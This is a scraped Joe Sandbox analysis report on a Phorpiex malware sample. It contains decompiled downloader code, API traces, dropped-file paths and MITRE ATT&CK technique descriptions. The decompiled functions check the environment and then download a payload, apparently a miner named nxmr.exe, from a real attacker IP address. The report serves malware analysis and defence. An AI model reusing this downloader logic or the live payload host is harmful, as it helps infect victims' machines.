Associated: 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882401431.0000000000023000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882407647.0000000000024000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_20000_150623101.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\523333343.jpg$%userprofile%
API String ID: 750032643-3301017933
Opcode ID: d17642de2e1783d60286cfd9fc089db1a44394cb4e8d416d70d688f13358cf23
Instruction ID: ebbeb8795d1bc08305cf6fc586b2dd649c610eb65a1c629cce43392dfa2ef3ca
Opcode Fuzzy Hash: d17642de2e1783d60286cfd9fc089db1a44394cb4e8d416d70d688f13358cf23
Instruction Fuzzy Hash: 2501A7B054031CBBE730DBA0AC89FE67378AB44704F104694F715951D2D6B55BC9CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00021460 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00021460(void* __eflags) {
				short _v524;
				short _v1044;
				signed char _t5;
				signed char _t8;
				int _t12;

				Sleep(0x3e8); // executed
				_t5 = E00021400(); // executed
				if((_t5 & 0x000000ff) != 0) {
					_t8 = E00021360(); // executed
					if((_t8 & 0x000000ff) != 0) {
						ExpandEnvironmentStringsW(L"%userprofile%",  &_v1044, 0x104);
						wsprintfW( &_v524, L"%s\\Windows Upgrade\\wupgrdsv.exe",  &_v1044);
						_t12 = PathFileExistsW( &_v524); // executed
						if(_t12 == 0) {
							E000210B0(L"http://185.215.113.66/nxmr.exe"); // executed
						}
					}
				}
				return 0;
			}

0x0002146e
0x00021474
0x0002147e
0x00021480
0x0002148a
0x0002149d
0x000214b6
0x000214c6
0x000214ce
0x000214d5
0x000214da
0x000214ce
0x0002148a
0x000214e2

APIs

Sleep.KERNEL32(000003E8), ref: 0002146E

Part of subcall function 00021400: ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000104), ref: 0002141A
Part of subcall function 00021400: wsprintfW.USER32 ref: 00021433
Part of subcall function 00021400: PathFileExistsW.SHLWAPI(?), ref: 00021443

Part of subcall function 00021360: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 0002137A
Part of subcall function 00021360: wsprintfW.USER32 ref: 00021393
Part of subcall function 00021360: PathFileExistsW.SHLWAPI(?), ref: 000213A3

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 0002149D
wsprintfW.USER32 ref: 000214B6
PathFileExistsW.SHLWAPI(?), ref: 000214C6

Part of subcall function 000210B0: GetTickCount.KERNEL32 ref: 000210B9
Part of subcall function 000210B0: srand.MSVCRT ref: 000210C0
Part of subcall function 000210B0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 000210E0
Part of subcall function 000210B0: rand.MSVCRT ref: 000210E6
Part of subcall function 000210B0: rand.MSVCRT ref: 000210FA
Part of subcall function 000210B0: wsprintfW.USER32 ref: 00021121
Part of subcall function 000210B0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00021137
Part of subcall function 000210B0: InternetOpenUrlW.WININET(00000000,000214DA,00000000,00000000,00000000,00000000), ref: 00021163
Part of subcall function 000210B0: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00021192
Part of subcall function 000210B0: InternetReadFile.WININET(00000000,?,00000103,?), ref: 000211C5
Part of subcall function 000210B0: WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 000211F6
Part of subcall function 000210B0: CloseHandle.KERNEL32(000000FF), ref: 00021205
Part of subcall function 000210B0: Sleep.KERNEL32(000003E8), ref: 00021210
Part of subcall function 000210B0: wsprintfW.USER32 ref: 00021229

Strings

%s\Windows Upgrade\wupgrdsv.exe, xrefs: 000214AA
%userprofile%, xrefs: 00021498
http://185.215.113.66/nxmr.exe, xrefs: 000214D0

Memory Dump Source

Source File: 0000000B.00000002.882368593.0000000000021000.00000020.00000001.01000000.00000007.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000B.00000002.882359979.0000000000020000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882401431.0000000000023000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882407647.0000000000024000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_20000_150623101.jbxd

Similarity

API ID: File$wsprintf$EnvironmentExpandStrings$ExistsInternetPath$OpenSleeprand$CloseCountCreateHandleReadTickWritesrand
String ID: %s\Windows Upgrade\wupgrdsv.exe$%userprofile%$http://185.215.113.66/nxmr.exe
API String ID: 4099434391-1058588280
Opcode ID: 11b5c302b7b3f7de14f6d33c136bca585f229317083735a054edea8297547026
Instruction ID: dcc776c5b03b3e21e4285a1c784a1e1e6dde96541db178c544c015a77c21e1d9
Opcode Fuzzy Hash: 11b5c302b7b3f7de14f6d33c136bca585f229317083735a054edea8297547026
Instruction Fuzzy Hash: F8F0FCB050033877E720F7A1BC86FFA33687B10705F404564B609C40C3EAB59699C6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00021400 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00021400() {
				short _v524;
				short _v1044;
				int _t9;

				ExpandEnvironmentStringsW(L"%systemdrive%",  &_v524, 0x104);
				wsprintfW( &_v1044, L"%s\\Program Files (x86)",  &_v524);
				_t9 = PathFileExistsW( &_v1044); // executed
				if(_t9 == 0) {
					return 0;
				}
				return 1;
			}

0x0002141a
0x00021433
0x00021443
0x0002144b
0x00000000
0x00021451
0x00000000

APIs

ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000104), ref: 0002141A
wsprintfW.USER32 ref: 00021433
PathFileExistsW.SHLWAPI(?), ref: 00021443

Strings

%systemdrive%, xrefs: 00021415
%s\Program Files (x86), xrefs: 00021427

Memory Dump Source

Source File: 0000000B.00000002.882368593.0000000000021000.00000020.00000001.01000000.00000007.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000B.00000002.882359979.0000000000020000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882401431.0000000000023000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.882407647.0000000000024000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_20000_150623101.jbxd

Similarity

API ID: EnvironmentExistsExpandFilePathStringswsprintf
String ID: %s\Program Files (x86)$%systemdrive%
API String ID: 3337111443-1963301939
Opcode ID: eb8a28c1327273537fe16d82266b7fd2505bb37883518a75860e71d3927612d3
Instruction ID: fd93273f5b9b0ef0ba1108e283c5d66cee0ebacdf34369eb5448637da82e8b25
Opcode Fuzzy Hash: eb8a28c1327273537fe16d82266b7fd2505bb37883518a75860e71d3927612d3
Instruction Fuzzy Hash: A5E065B154021CBBEB20DBA0BC89EE6736CA710704F444595EA1882051EAB5A6DDDBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 2465513676.exePID: 9636, Parent PID: 956COMMON

Executed Functions

Function 000000013F8B14B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.889431332.000000013F8B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 000000013F8B0000, based on PE: true

Associated: 0000000D.00000002.889424083.000000013F8B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.889453693.000000013F8CB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.889457964.000000013F8CC000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.890250778.000000013FE16000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.890255749.000000013FE18000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.890323781.000000013FE21000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.890331763.000000013FE24000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.891257392.000000013FE25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13f8b0000_2465513676.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e937fe1005736edc4141340613b6c0946c383bd46eb219c50031cd8ae7fc13cb
Instruction ID: 8b9fb90b140307a0aa3b7ab3cec50abe3f7df548a40af811238532a89454701e
Opcode Fuzzy Hash: e937fe1005736edc4141340613b6c0946c383bd46eb219c50031cd8ae7fc13cb
Instruction Fuzzy Hash: B7B0123090060CC4E3046F02D8423C832206308780F819025C40907363C67845424710

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gEkl9O5tiu.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Phorpiex

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\nxmr[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\706[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BCM8SZWK.txt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\getxmr[1]

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\n[1].txt

C:\Users\user\AppData\Local\Temp\150623101.exe

C:\Users\user\AppData\Local\Temp\1925824589.exe

C:\Users\user\AppData\Local\Temp\2465513676.exe

Windows Analysis Report
gEkl9O5tiu.exe

Function 01091080 Relevance: 63.2, APIs: 30, Strings: 6, Instructions: 192
filenetworksleepCOMMON

Function 01091300 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 36
networksleepCOMMON

Function 01091360 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37
fileCOMMON

Function 01091000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
sleepprocessCOMMON

Function 010913E0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11
sleepCOMMON

Function 0040D0F0 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 00405E10 Relevance: 168.5, APIs: 60, Strings: 36, Instructions: 492
registrysleepfileCOMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre